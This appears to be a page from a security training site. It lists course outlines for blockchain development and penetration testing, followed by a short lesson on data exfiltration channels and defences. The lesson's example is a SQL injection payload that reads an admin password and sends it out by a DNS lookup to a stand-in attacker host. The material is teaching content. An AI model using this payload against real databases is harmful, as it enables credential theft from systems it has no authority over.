Courses
1. Introduction to Blockchain and Solana
2. Setting Up Your Development Environment
3. Solana Architecture and Key Concepts
4. Creating and Managing Wallets
5. Understanding Solana Programs
6. Building Your First Solana Program
7. Deploying Programs on the Solana Network
8. Interacting with Solana Programs
9. Using Solana CLI and SDKs
10. Developing Decentralized Applications (DApps)
11. Smart Contract Security Best Practices
12. Testing and Debugging Solana Programs
13. Optimizing Performance on Solana
14. Exploring Solana Ecosystem Tools
1. Introduction to Blockchain and Ethereum
2. Setting Up Your Development Environment
3. Ethereum Architecture and Key Concepts
4. Creating and Managing Wallets
5. Understanding Smart Contracts
6. Building Your First Smart Contract
7. Deploying Smart Contracts on the Ethereum Network
8. Interacting with Smart Contracts
9. Using Ethereum CLI and SDKs
10. Developing Decentralized Applications (DApps)
11. Smart Contract Security Best Practices
12. Testing and Debugging Smart Contracts
13. Optimizing Performance on Ethereum
14. Exploring Ethereum Ecosystem Tools
1. Introduction to Blockchain and Polygon
2. Setting Up Your Development Environment
3. Polygon Architecture and Key Concepts
4. Creating and Managing Wallets
5. Understanding Smart Contracts on Polygon
6. Building Your First Smart Contract on Polygon
7. Deploying Smart Contracts on the Polygon Network
8. Interacting with Smart Contracts on Polygon
9. Using Polygon CLI and SDKs
10. Developing Decentralized Applications (DApps) on Polygon
11. Smart Contract Security Best Practices for Polygon
12. Testing and Debugging Smart Contracts on Polygon
13. Optimizing Performance on Polygon
14. Exploring Polygon Ecosystem Tools
1. Introduction to Cybersecurity
2. Report Writing for Penetration Testers
3. Information Gathering
4. Vulnerability Scanning
5. Introduction to Web Applications
6. Common Web Application Attacks
7. SQL Injection Attacks
8. Client-Side Attacks
9. Locating Public Exploits
10. Fixing Exploits
11. Antivirus Evasion
12. Password Attacks
13. Windows Privilege Escalation
14. Linux Privilege Escalation
15. Advanced Tunneling
16. The Metasploit Framework
17. Active Directory: Introduction and Enumeration
18. Attacking Active Directory Authentication
19. Lateral Movement in Active Directory
Data Exfiltration
OSWE · Chapter 10
Data Exfiltration
Data exfiltration is the step where an attacker actually moves stolen data out of a compromised environment. Understanding exfiltration channels is essential both offensively (to complete an engagement PoC) and defensively (to detect and block them).
Key concepts
- In-band exfiltration reuses the same channel as the attack (e.g. reading query results directly in an HTTP response).
- Out-of-band exfiltration uses a second channel entirely — DNS lookups and HTTP callbacks to an attacker server are the most common, since DNS egress is rarely blocked.
- Data can be smuggled encoded into hostnames (`<stolen-data>.attacker.example`) a piece at a time, working around strict output filters that block direct data return.
- Defensively: egress filtering, DNS query monitoring, and DLP (data loss prevention) tooling are the standard mitigations — assume any allowed outbound protocol can be abused for exfiltration.
Example
-- Exfiltrate a password via DNS lookup (MSSQL out-of-band, lab only)
'; declare @p varchar(1024); set @p=(SELECT password FROM users WHERE username='admin'); exec('master..xp_dirtree "//'+@p+'.attacker-collab.example/a"')--Try it yourself
Explain, in your own words, why an organization that blocks all outbound HTTP but allows outbound DNS is still exposed to a data exfiltration channel.